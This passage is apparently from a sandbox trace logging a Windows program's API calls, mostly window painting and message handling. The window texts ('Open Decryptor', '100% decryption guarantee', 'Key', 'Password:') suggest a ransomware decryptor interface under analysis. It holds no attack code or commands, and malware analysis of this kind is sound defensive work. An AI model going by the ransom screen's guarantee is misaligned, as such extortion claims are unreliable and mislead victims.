(lpPrevWndFunc=0x6fd4e800, hWnd=0x10270, Msg=0x3, wParam=0x0, lParam=0x940057) returned 0x0 [0167.915] GetClientRect (in: hWnd=0x10270, lpRect=0x19dea0 | out: lpRect=0x19dea0) returned 1 [0167.915] GetWindowRect (in: hWnd=0x10270, lpRect=0x19dea0 | out: lpRect=0x19dea0) returned 1 [0167.915] GetParent (hWnd=0x10270) returned 0x10264 [0167.915] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10264, lpPoints=0x19dea0, cPoints=0x2 | out: lpPoints=0x19dea0) returned -16646646 [0167.915] SendMessageW (hWnd=0x10270, Msg=0x2210, wParam=0x2700001, lParam=0x10270) returned 0x0 [0167.915] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10270, Msg=0x2210, wParam=0x2700001, lParam=0x10270) returned 0x0 [0167.915] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10270, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0167.915] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10270, Msg=0x46, wParam=0x0, lParam=0x19e1bc) returned 0x0 [0167.915] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10270, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0167.915] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10270, Msg=0x14, wParam=0x1b010670, lParam=0x0) returned 0x1 [0167.915] GetStockObject (i=5) returned 0x900015 [0167.915] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10270, Msg=0x47, wParam=0x0, lParam=0x19e1bc) returned 0x0 [0167.916] GetClientRect (in: hWnd=0x10270, lpRect=0x19de70 | out: lpRect=0x19de70) returned 1 [0167.916] GetWindowRect (in: hWnd=0x10270, lpRect=0x19de70 | out: lpRect=0x19de70) returned 1 [0167.916] GetParent (hWnd=0x10270) returned 0x10264 [0167.916] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10264, lpPoints=0x19de70, cPoints=0x2 | out: lpPoints=0x19de70) returned -16646646 [0167.916] GetParent (hWnd=0x10270) returned 0x10264 [0167.916] GetParent (hWnd=0x10270) returned 0x10264 [0167.916] GetWindowThreadProcessId (in: hWnd=0x10264, lpdwProcessId=0x19e798 | out: lpdwProcessId=0x19e798) returned 0x390 [0167.916] GetCurrentThreadId () returned 0x390 [0167.916] PostMessageW (hWnd=0x10264, Msg=0xc172, wParam=0x0, lParam=0x0) returned 1 [0167.916] GdipImageGetFrameDimensionsCount (image=0x6921c20, count=0x19e768) returned 0x0 [0167.916] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0xf6d790 [0167.916] GdipImageGetFrameDimensionsList (image=0x6921c20, dimensionIDs=0xf6d790*(Data1=0x74737953, Data2=0x6d65, Data3=0x442e, Data4=([0]=0x72, [1]=0x61, [2]=0x77, [3]=0x69, [4]=0x6e, [5]=0x67, [6]=0x0, [7]=0x0)), count=0x1) returned 0x0 [0167.916] LocalFree (hMem=0xf6d790) returned 0x0 [0167.916] GetWindowTextLengthW (hWnd=0x1026a) returned 0 [0167.916] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1026a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0167.916] GetSystemMetrics (nIndex=42) returned 0 [0167.916] GetWindowTextW (in: hWnd=0x1026a, lpString=0x19e76c, nMaxCount=1 | out: lpString="") returned 0 [0167.916] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1026a, Msg=0xd, wParam=0x1, lParam=0x19e76c) returned 0x0 [0167.916] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0167.916] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0167.916] GetSystemMetrics (nIndex=42) returned 0 [0167.916] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e808, nMaxCount=1 | out: lpString="") returned 0 [0167.916] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e808) returned 0x0 [0167.916] GetWindowTextLengthW (hWnd=0x30212) returned 14 [0167.916] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xe [0167.916] GetSystemMetrics (nIndex=42) returned 0 [0167.916] GetWindowTextW (in: hWnd=0x30212, lpString=0x19e8f8, nMaxCount=15 | out: lpString="Open Decryptor") returned 14 [0167.916] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0xd, wParam=0xf, lParam=0x19e8f8) returned 0xe [0167.917] SetWindowTextW (hWnd=0x30212, lpString="Close Decryptor") returned 1 [0167.917] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0xc, wParam=0x0, lParam=0x305d26c) returned 0x1 [0167.917] GetStockObject (i=5) returned 0x900015 [0167.917] GetStockObject (i=5) returned 0x900015 [0167.917] GetDlgItem (hDlg=0x8004e, nIDDlgItem=197138) returned 0x30212 [0167.917] SendMessageW (hWnd=0x30212, Msg=0x202b, wParam=0x30212, lParam=0x19e324) returned 0x0 [0167.917] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x202b, wParam=0x30212, lParam=0x19e324) returned 0x0 [0167.917] InvalidateRect (hWnd=0x30212, lpRect=0x0, bErase=0) returned 1 [0167.917] GetCapture () returned 0x30212 [0167.917] ReleaseCapture () returned 1 [0167.917] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x215, wParam=0x0, lParam=0x0) returned 0x0 [0167.917] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.917] IsWindowUnicode (hWnd=0x10264) returned 1 [0167.917] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.917] TranslateMessage (lpMsg=0x19ee78) returned 0 [0167.918] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0167.918] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.918] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x257018d) returned 0x1 [0167.918] IsWindowUnicode (hWnd=0x30212) returned 1 [0167.918] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.918] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x257018d) returned 0x1 [0167.918] SetCursor (hCursor=0x10003) returned 0x10003 [0167.918] TranslateMessage (lpMsg=0x19ee78) returned 0 [0167.918] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0167.918] GetKeyState (nVirtKey=1) returned 1 [0167.918] GetKeyState (nVirtKey=2) returned 0 [0167.918] GetKeyState (nVirtKey=4) returned 0 [0167.918] GetKeyState (nVirtKey=5) returned 0 [0167.918] GetKeyState (nVirtKey=6) returned 0 [0167.918] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.918] IsWindowUnicode (hWnd=0x10248) returned 1 [0167.918] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.918] TranslateMessage (lpMsg=0x19ee78) returned 0 [0167.918] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0167.918] BeginPaint (in: hWnd=0x10248, lpPaint=0x19e8fc | out: lpPaint=0x19e8fc) returned 0x1e0106e1 [0167.919] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0167.919] GetWindowTextLengthW (hWnd=0x10248) returned 0 [0167.919] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0167.919] GetSystemMetrics (nIndex=42) returned 0 [0167.919] GetWindowTextW (in: hWnd=0x10248, lpString=0x19e8ac, nMaxCount=1 | out: lpString="") returned 0 [0167.919] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xd, wParam=0x1, lParam=0x19e8ac) returned 0x0 [0167.919] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0167.919] EndPaint (hWnd=0x10248, lpPaint=0x19e8f8) returned 1 [0167.919] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.919] IsWindowUnicode (hWnd=0x10246) returned 1 [0167.919] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.919] TranslateMessage (lpMsg=0x19ee78) returned 0 [0167.919] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0167.919] BeginPaint (in: hWnd=0x10246, lpPaint=0x19e8e8 | out: lpPaint=0x19e8e8) returned 0x10105d6 [0167.919] SelectPalette (hdc=0x10105d6, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0167.919] GetWindowTextLengthW (hWnd=0x10246) returned 3 [0167.919] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0167.919] GetSystemMetrics (nIndex=42) returned 0 [0167.919] GetWindowTextW (in: hWnd=0x10246, lpString=0x19e888, nMaxCount=4 | out: lpString="Key") returned 3 [0167.919] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xd, wParam=0x4, lParam=0x19e888) returned 0x3 [0167.920] SelectPalette (hdc=0x10105d6, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0167.920] EndPaint (hWnd=0x10246, lpPaint=0x19e8e4) returned 1 [0167.920] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.920] IsWindowUnicode (hWnd=0x1024a) returned 1 [0167.920] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.920] TranslateMessage (lpMsg=0x19ee78) returned 0 [0167.920] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0167.920] BeginPaint (in: hWnd=0x1024a, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1b010670 [0167.920] SelectPalette (hdc=0x1b010670, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0167.920] CreateCompatibleDC (hdc=0x1b010670) returned 0x2a010741 [0167.920] SelectObject (hdc=0x2a010741, h=0x8050721) returned 0x85000f [0167.920] GdipCreateFromHDC (hdc=0x2a010741, graphics=0x19e8e4) returned 0x0 [0167.920] GdipTranslateWorldTransform (graphics=0x6923588, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0167.920] GdipSetClipRectI (graphics=0x6923588, x=0, y=0, width=308, height=32, combineMode=0x0) returned 0x0 [0167.921] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0167.921] GdipGetWorldTransform (graphics=0x6923588, matrix=0x6923868) returned 0x0 [0167.921] GdipIsMatrixIdentity (matrix=0x6923868, result=0x19e944) returned 0x0 [0167.921] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0167.921] GdipGetMatrixElements (matrix=0x6923868, matrixOut=0xf75bb0) returned 0x0 [0167.921] LocalFree (hMem=0xf75bb0) returned 0x0 [0167.921] GdipDeleteMatrix (matrix=0x6923868) returned 0x0 [0167.921] GdipCreateRegion (region=0x19e92c) returned 0x0 [0167.921] GdipGetClip (graphics=0x6923588, region=0x6923898) returned 0x0 [0167.921] GdipIsInfiniteRegion (region=0x6923898, graphics=0x6923588, result=0x19e938) returned 0x0 [0167.921] GdipSaveGraphics (graphics=0x6923588, state=0x19e964) returned 0x0 [0167.921] GetWindowTextLengthW (hWnd=0x1024a) returned 25 [0167.921] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1024a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0167.921] GetSystemMetrics (nIndex=42) returned 0 [0167.921] GetWindowTextW (in: hWnd=0x1024a, lpString=0x19e84c, nMaxCount=26 | out: lpString="100% decryption guarantee") returned 25 [0167.921] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1024a, Msg=0xd, wParam=0x1a, lParam=0x19e84c) returned 0x19 [0167.921] GetClientRect (in: hWnd=0x1024a, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0167.921] GdipCreateRegion (region=0x19e780) returned 0x0 [0167.921] GdipGetClip (graphics=0x6923588, region=0x6923b88) returned 0x0 [0167.921] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0167.921] GdipGetWorldTransform (graphics=0x6923588, matrix=0x6915f08) returned 0x0 [0167.922] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0167.922] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0167.922] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0167.922] LocalFree (hMem=0xf75bb0) returned 0x0 [0167.922] GdipCombineRegionRegion (region=0x6923b88, region2=0x6923898, combineMode=0x1) returned 0x0 [0167.922] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0167.922] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0167.922] LocalFree (hMem=0xf75be8) returned 0x0 [0167.922] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0167.922] GdipIsInfiniteRegion (region=0x6923b88, graphics=0x6923588, result=0x19e7c0) returned 0x0 [0167.922] GdipIsInfiniteRegion (region=0x6923b88, graphics=0x6923588, result=0x19e7b0) returned 0x0 [0167.922] GdipGetRegionHRgn (region=0x6923b88, graphics=0x6923588, hRgn=0x19e7b0) returned 0x0 [0167.922] GdipDeleteRegion (region=0x6923b88) returned 0x0 [0167.922] GdipGetDC (graphics=0x6923588, hdc=0x19e7c8) returned 0x0 [0167.922] GetCurrentObject (hdc=0x2a010741, type=0x1) returned 0xb00017 [0167.922] GetCurrentObject (hdc=0x2a010741, type=0x2) returned 0x900010 [0167.922] GetCurrentObject (hdc=0x2a010741, type=0x7) returned 0x8050721 [0167.922] GetCurrentObject (hdc=0x2a010741, type=0x6) returned 0x8a01c2 [0167.922] SaveDC (hdc=0x2a010741) returned 1 [0167.922] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x1904070e [0167.922] GetClipRgn (hdc=0x2a010741, hrgn=0x1904070e) returned 0 [0167.927] SelectClipRgn (hdc=0x2a010741, hrgn=0x920406f7) returned 2 [0167.927] DeleteObject (ho=0x1904070e) returned 1 [0167.927] DeleteObject (ho=0x920406f7) returned 1 [0167.927] OffsetViewportOrgEx (in: hdc=0x2a010741, x=0, y=0, lppt=0x305d830 | out: lppt=0x305d830) returned 1 [0167.927] GetNearestColor (hdc=0x2a010741, color=0x22a3f8) returned 0x22a3f8 [0167.927] CreateSolidBrush (color=0x22a3f8) returned 0x3010073a [0167.927] FillRect (hDC=0x2a010741, lprc=0x19e7cc, hbr=0x3010073a) returned 1 [0167.927] DeleteObject (ho=0x3010073a) returned 1 [0167.927] RestoreDC (hdc=0x2a010741, nSavedDC=-1) returned 1 [0167.927] GdipReleaseDC (graphics=0x6923588, hdc=0x2a010741) returned 0x0 [0167.927] GdipRestoreGraphics (graphics=0x6923588, state=0xfd270dbd) returned 0x0 [0167.927] GdipDeleteRegion (region=0x6923898) returned 0x0 [0167.927] GetWindowTextLengthW (hWnd=0x1024a) returned 25 [0167.927] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1024a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0167.927] GetSystemMetrics (nIndex=42) returned 0 [0167.928] GetWindowTextW (in: hWnd=0x1024a, lpString=0x19e84c, nMaxCount=26 | out: lpString="100% decryption guarantee") returned 25 [0167.928] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1024a, Msg=0xd, wParam=0x1a, lParam=0x19e84c) returned 0x19 [0167.928] GdipGetDC (graphics=0x6923588, hdc=0x19e7e8) returned 0x0 [0167.928] GetCurrentObject (hdc=0x2a010741, type=0x1) returned 0xb00017 [0167.928] GetCurrentObject (hdc=0x2a010741, type=0x2) returned 0x900010 [0167.928] GetCurrentObject (hdc=0x2a010741, type=0x7) returned 0x8050721 [0167.928] GetCurrentObject (hdc=0x2a010741, type=0x6) returned 0x8a01c2 [0167.928] SaveDC (hdc=0x2a010741) returned 1 [0167.928] GetNearestColor (hdc=0x2a010741, color=0x0) returned 0x0 [0167.928] RestoreDC (hdc=0x2a010741, nSavedDC=-1) returned 1 [0167.928] GdipReleaseDC (graphics=0x6923588, hdc=0x2a010741) returned 0x0 [0167.928] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.929] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0167.929] GdipGetTextRenderingHint (graphics=0x6923588, mode=0x19e788) returned 0x0 [0167.929] GdipGetDC (graphics=0x6923588, hdc=0x19e774) returned 0x0 [0167.929] GetCurrentObject (hdc=0x2a010741, type=0x1) returned 0xb00017 [0167.929] GetCurrentObject (hdc=0x2a010741, type=0x2) returned 0x900010 [0167.929] GetCurrentObject (hdc=0x2a010741, type=0x7) returned 0x8050721 [0167.929] GetCurrentObject (hdc=0x2a010741, type=0x6) returned 0x8a01c2 [0167.929] SaveDC (hdc=0x2a010741) returned 1 [0167.929] GetTextAlign (hdc=0x2a010741) returned 0x0 [0167.929] GetTextColor (hdc=0x2a010741) returned 0x0 [0167.929] GetCurrentObject (hdc=0x2a010741, type=0x6) returned 0x8a01c2 [0167.929] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0167.929] SelectObject (hdc=0x2a010741, h=0xa0a0724) returned 0x8a01c2 [0167.929] GetBkMode (hdc=0x2a010741) returned 2 [0167.930] SetBkMode (hdc=0x2a010741, mode=1) returned 2 [0167.930] DrawTextExW (in: hdc=0x2a010741, lpchText="100% decryption guarantee", cchText=25, lprc=0x19e708, format=0x100000, lpdtp=0x305dd24 | out: lpchText="100% decryption guarantee", lprc=0x19e708) returned 32 [0167.930] RestoreDC (hdc=0x2a010741, nSavedDC=-1) returned 1 [0167.930] GdipReleaseDC (graphics=0x6923588, hdc=0x2a010741) returned 0x0 [0167.930] GdipGetDC (graphics=0x6923588, hdc=0x19e924) returned 0x0 [0167.930] BitBlt (hdc=0x1b010670, x=0, y=0, cx=308, cy=32, hdcSrc=0x2a010741, x1=0, y1=0, rop=0xcc0020) returned 1 [0167.930] GdipReleaseDC (graphics=0x6923588, hdc=0x2a010741) returned 0x0 [0167.930] SelectPalette (hdc=0x1b010670, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0167.931] SelectObject (hdc=0x2a010741, h=0x85000f) returned 0x8050721 [0167.931] DeleteDC (hdc=0x2a010741) returned 1 [0167.931] GdipDeleteGraphics (graphics=0x6923588) returned 0x0 [0167.931] EndPaint (hWnd=0x1024a, lpPaint=0x19e8c8) returned 1 [0167.931] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.931] IsWindowUnicode (hWnd=0x1024c) returned 1 [0167.931] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.931] TranslateMessage (lpMsg=0x19ee78) returned 0 [0167.931] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0167.931] BeginPaint (in: hWnd=0x1024c, lpPaint=0x19e908 | out: lpPaint=0x19e908) returned 0x60100ce [0167.931] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0167.932] CreateCompatibleDC (hdc=0x60100ce) returned 0x2c010741 [0167.932] SelectObject (hdc=0x2c010741, h=0x8050721) returned 0x85000f [0167.932] GdipCreateFromHDC (hdc=0x2c010741, graphics=0x19e920) returned 0x0 [0167.932] GdipTranslateWorldTransform (graphics=0x6923588, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0167.932] GdipSetClipRectI (graphics=0x6923588, x=0, y=0, width=32, height=36, combineMode=0x0) returned 0x0 [0167.932] GdipCreateMatrix (matrix=0x19e968) returned 0x0 [0167.932] GdipGetWorldTransform (graphics=0x6923588, matrix=0x6923868) returned 0x0 [0167.932] GdipIsMatrixIdentity (matrix=0x6923868, result=0x19e980) returned 0x0 [0167.932] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0167.932] GdipGetMatrixElements (matrix=0x6923868, matrixOut=0xf75be8) returned 0x0 [0167.932] LocalFree (hMem=0xf75be8) returned 0x0 [0167.932] GdipDeleteMatrix (matrix=0x6923868) returned 0x0 [0167.932] GdipCreateRegion (region=0x19e968) returned 0x0 [0167.932] GdipGetClip (graphics=0x6923588, region=0x6923898) returned 0x0 [0167.932] GdipIsInfiniteRegion (region=0x6923898, graphics=0x6923588, result=0x19e974) returned 0x0 [0167.932] GdipSaveGraphics (graphics=0x6923588, state=0x19e9a0) returned 0x0 [0167.932] GetWindowTextLengthW (hWnd=0x1024c) returned 0 [0167.932] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0167.933] GetSystemMetrics (nIndex=42) returned 0 [0167.933] GetWindowTextW (in: hWnd=0x1024c, lpString=0x19e8b8, nMaxCount=1 | out: lpString="") returned 0 [0167.933] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024c, Msg=0xd, wParam=0x1, lParam=0x19e8b8) returned 0x0 [0167.933] GetClientRect (in: hWnd=0x1024c, lpRect=0x19e968 | out: lpRect=0x19e968) returned 1 [0167.933] GdipCreateRegion (region=0x19e7bc) returned 0x0 [0167.933] GdipGetClip (graphics=0x6923588, region=0x6923b88) returned 0x0 [0167.933] GdipCreateMatrix (matrix=0x19e7bc) returned 0x0 [0167.933] GdipGetWorldTransform (graphics=0x6923588, matrix=0x6915f08) returned 0x0 [0167.933] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e7d4) returned 0x0 [0167.933] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0167.933] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0167.933] LocalFree (hMem=0xf75bb0) returned 0x0 [0167.933] GdipCombineRegionRegion (region=0x6923b88, region2=0x6923898, combineMode=0x1) returned 0x0 [0167.933] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0167.933] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0167.933] LocalFree (hMem=0xf75be8) returned 0x0 [0167.933] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0167.933] GdipIsInfiniteRegion (region=0x6923b88, graphics=0x6923588, result=0x19e7fc) returned 0x0 [0167.933] GdipIsInfiniteRegion (region=0x6923b88, graphics=0x6923588, result=0x19e7ec) returned 0x0 [0167.933] GdipGetRegionHRgn (region=0x6923b88, graphics=0x6923588, hRgn=0x19e7ec) returned 0x0 [0167.933] GdipDeleteRegion (region=0x6923b88) returned 0x0 [0167.934] GdipGetDC (graphics=0x6923588, hdc=0x19e804) returned 0x0 [0167.934] GetCurrentObject (hdc=0x2c010741, type=0x1) returned 0xb00017 [0167.934] GetCurrentObject (hdc=0x2c010741, type=0x2) returned 0x900010 [0167.934] GetCurrentObject (hdc=0x2c010741, type=0x7) returned 0x8050721 [0167.934] GetCurrentObject (hdc=0x2c010741, type=0x6) returned 0x8a01c2 [0167.934] SaveDC (hdc=0x2c010741) returned 1 [0167.934] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x930406f7 [0167.934] GetClipRgn (hdc=0x2c010741, hrgn=0x930406f7) returned 0 [0167.934] SelectClipRgn (hdc=0x2c010741, hrgn=0x1b04070e) returned 2 [0167.934] GdipReleaseDC (graphics=0x6923588, hdc=0x2c010741) returned 0x0 [0167.934] GdipRestoreGraphics (graphics=0x6923588, state=0xfd250dbd) returned 0x0 [0167.935] GdipDeleteRegion (region=0x6923898) returned 0x0 [0167.935] GdipGetImageWidth (image=0x6915b28, width=0x19e83c) returned 0x0 [0167.935] GdipGetImageHeight (image=0x6915b28, height=0x19e83c) returned 0x0 [0167.935] GdipDrawImageRectI (graphics=0x6923588, image=0x6915b28, x=0, y=2, width=32, height=32) returned 0x0 [0167.935] GdipGetDC (graphics=0x6923588, hdc=0x19e960) returned 0x0 [0167.935] GdipReleaseDC (graphics=0x6923588, hdc=0x2c010741) returned 0x0 [0167.935] GdipDeleteGraphics (graphics=0x6923588) returned 0x0 [0167.935] EndPaint (hWnd=0x1024c, lpPaint=0x19e904) returned 1 [0167.936] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.936] IsWindowUnicode (hWnd=0x1024e) returned 1 [0167.936] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.936] TranslateMessage (lpMsg=0x19ee78) returned 0 [0167.936] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0167.936] BeginPaint (in: hWnd=0x1024e, lpPaint=0x19e8fc | out: lpPaint=0x19e8fc) returned 0x1e0106e1 [0167.936] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0167.936] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0167.936] EndPaint (hWnd=0x1024e, lpPaint=0x19e8f8) returned 1 [0167.937] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.937] IsWindowUnicode (hWnd=0x10250) returned 1 [0167.937] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.937] TranslateMessage (lpMsg=0x19ee78) returned 0 [0167.937] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0167.937] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10250, Msg=0xf, wParam=0x0, lParam=0x0) [0167.938] SetTextColor (hdc=0x2f010741, color=0xc4c4c4) returned 0x0 [0167.938] BeginPaint (in: hWnd=0x10252, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1b010670 [0167.939] SelectPalette (hdc=0x1b010670, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0167.939] GdipCreateFromHDC (hdc=0x1010743, graphics=0x19e8e4) returned 0x0 [0167.939] GdipTranslateWorldTransform (graphics=0x6923588, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0167.940] GdipSetClipRectI (graphics=0x6923588, x=0, y=0, width=251, height=63, combineMode=0x0) returned 0x0 [0167.940] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0167.940] GdipGetWorldTransform (graphics=0x6923588, matrix=0x6923868) returned 0x0 [0167.940] GdipIsMatrixIdentity (matrix=0x6923868, result=0x19e944) returned 0x0 [0167.940] GdipGetMatrixElements (matrix=0x6923868, matrixOut=0xf75bb0) returned 0x0 [0167.940] LocalFree (hMem=0xf75bb0) returned 0x0 [0167.940] GdipDeleteMatrix (matrix=0x6923868) returned 0x0 [0167.940] GdipCreateRegion (region=0x19e92c) returned 0x0 [0167.940] GdipGetClip (graphics=0x6923588, region=0x6923898) returned 0x0 [0167.940] GdipIsInfiniteRegion (region=0x6923898, graphics=0x6923588, result=0x19e938) returned 0x0 [0167.940] GdipSaveGraphics (graphics=0x6923588, state=0x19e964) returned 0x0 [0167.940] GetWindowTextLengthW (hWnd=0x10252) returned 9 [0167.940] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10252, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x9 [0167.941] GetSystemMetrics (nIndex=42) returned 0 [0167.941] GetWindowTextW (in: hWnd=0x10252, lpString=0x19e86c, nMaxCount=10 | out: lpString="Password:") returned 9 [0167.941] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10252, Msg=0xd, wParam=0xa, 